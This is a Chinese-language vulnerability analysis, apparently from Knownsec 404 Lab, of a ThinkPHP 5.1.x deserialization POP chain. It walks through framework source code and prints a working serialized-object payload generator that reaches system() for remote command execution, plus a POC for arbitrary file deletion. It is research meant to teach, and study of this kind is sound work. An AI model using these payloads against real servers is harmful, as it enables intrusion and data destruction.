Thinkphp 反序列化利用链深入分析

作者:Ethan@知道创宇404实验室

时间:2019年9月21日

前言

今年7月份,ThingkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThingkPHP的反序列化漏洞。今天就探讨一下ThingkPHP的反序列化问题!

环境搭建

  • Thinkphp 5.1.35
  • php 7.0.12

漏洞挖掘思路

在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

漏洞分析

首先漏洞的起点为 /thinkphp/library/think/process/pipes/Windows.php
__destruct()

__destruct()
里面调用了两个函数,我们跟进 removeFiles()
函数。

class Windows extends Pipes
{
    private $files = [];
    ....
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    ....
}

这里使用了 $this->files
,而且这里的 $files
是可控的。所以存在一个任意文件删除的漏洞。
POC可以这样构造:

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}

echo base64_encode(serialize(new Windows()));

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。

removeFiles()
中使用了 file_exists
$filename
进行了处理。我们进入 file_exists
函数可以知道, $filename
会被作为字符串处理。

__toString
当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发 __toString
方法。我们全局搜索 __toString
方法。

我们跟进 \thinkphp\library\think\model\concern\Conversion.php
的Conversion类的第224行,这里调用了一个 toJson()
方法。

    .....
    public function __toString()
    {
        return $this->toJson();
    }
    .....

跟进 toJson()
方法

    ....
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    ....

继续跟进 toArray()
方法

   public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];
        .....
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }
            .....

我们需要在 toArray()
函数中寻找一个满足 $可控变量->方法(参数可控)
的点,首先,这里调用了一个 getRelation
方法。我们跟进 getRelation()
,它位于 Attribute
类中

    ....
    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
    ....

由于 getRelation()
下面的 if
语句为 if (!$relation)
,所以这里不用理会,返回空即可。然后调用了 getAttr
方法,我们跟进 getAttr
方法

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
        ......

继续跟进 getData
方法

   public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

通过查看 getData
函数我们可以知道 $relation
的值为 $this->data[$name]
,需要注意的一点是这里类的定义使用的是 Trait
而不是 class
。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait
。通过在类中使用 use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用 use
关键字。然后我们需要找到一个子类同时继承了 Attribute
类和 Conversion
类。

我们可以在 \thinkphp\library\think\Model.php
中找到这样一个类

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    .......

我们梳理一下目前我们需要控制的变量

  1. $files
    位于类 Windows
  2. $append
    位于类 Conversion
  3. $data
    位于类 Attribute

利用链如下:

代码执行点分析

我们现在缺少一个进行代码执行的点,在这个类中需要没有 visible
方法。并且最好存在 __call
方法,因为 __call
一般会存在 __call_user_func
__call_user_func_array
,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在 /thinkphp/library/think/Request.php
,找到一个 __call
函数。 __call
调用不可访问或不存在的方法时被调用。

   ......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....

但是这里我们只能控制 $args
,所以这里很难反序列化成功,但是 $hook
这里是可控的,所以我们可以构造一个hook数组 "visable"=>"method"
,但是 array_unshift()
向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。

在Thinkphp的Request类中还有一个功能 filter
功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖 filter
的方法去执行代码。
代码位于第1456行。

  ....
  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
            .....

但这里的 $value
不可控,所以我们需要找到可以控制 $value
的点。

....
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        ....
       // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', 'arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
.....

但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用 input
函数的地方。我们找到了 param
函数。

   public function param($name = '', $default = null, $filter = '')
    {
         ......

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

这里仍然是不可控的,所以我们继续找调用 param
函数的地方。找到了 isAjax
函数

    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

isAjax
函数中,我们可以控制 $this->config['var_ajax']
$this->config['var_ajax']
可控就意味着 param
函数中的 $name
可控。 param
函数中的 $name
可控就意味着 input
函数中的 $name
可控。

param
函数可以获得 $_GET
数组并赋值给 $this->param

再回到 input
函数中

$data = $this->getData($data, $name);

$name
的值来自于 $this->config['var_ajax']
,我们跟进 getData
函数。

    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }

这里 $data
直接等于 $data[$val]

然后跟进 getFilter
函数

    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

这里的 $filter
来自于 this->filter
,我们需要定义 this->filter
为函数名。

我们再来看一下 input
函数,有这么几行代码

....
if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            ...

这是一个回调函数,跟进 filterValue
函数。

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
         .......

通过分析我们可以发现 filterValue.value
的值为第一个通过 GET
请求的值,而 filters.key
GET
请求的键,并且 filters.filters
就等于 input.filters
的值。

我们尝试构造payload,这里需要 namespace
定义命名空间

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

首先自己构造一个利用点,别问我为什么,这个漏洞就是需要后期开发的时候有利用点,才能触发

我们把payload通过 POST
传过去,然后通过 GET
请求获取需要执行的命令


执行点如下:


利用链如下: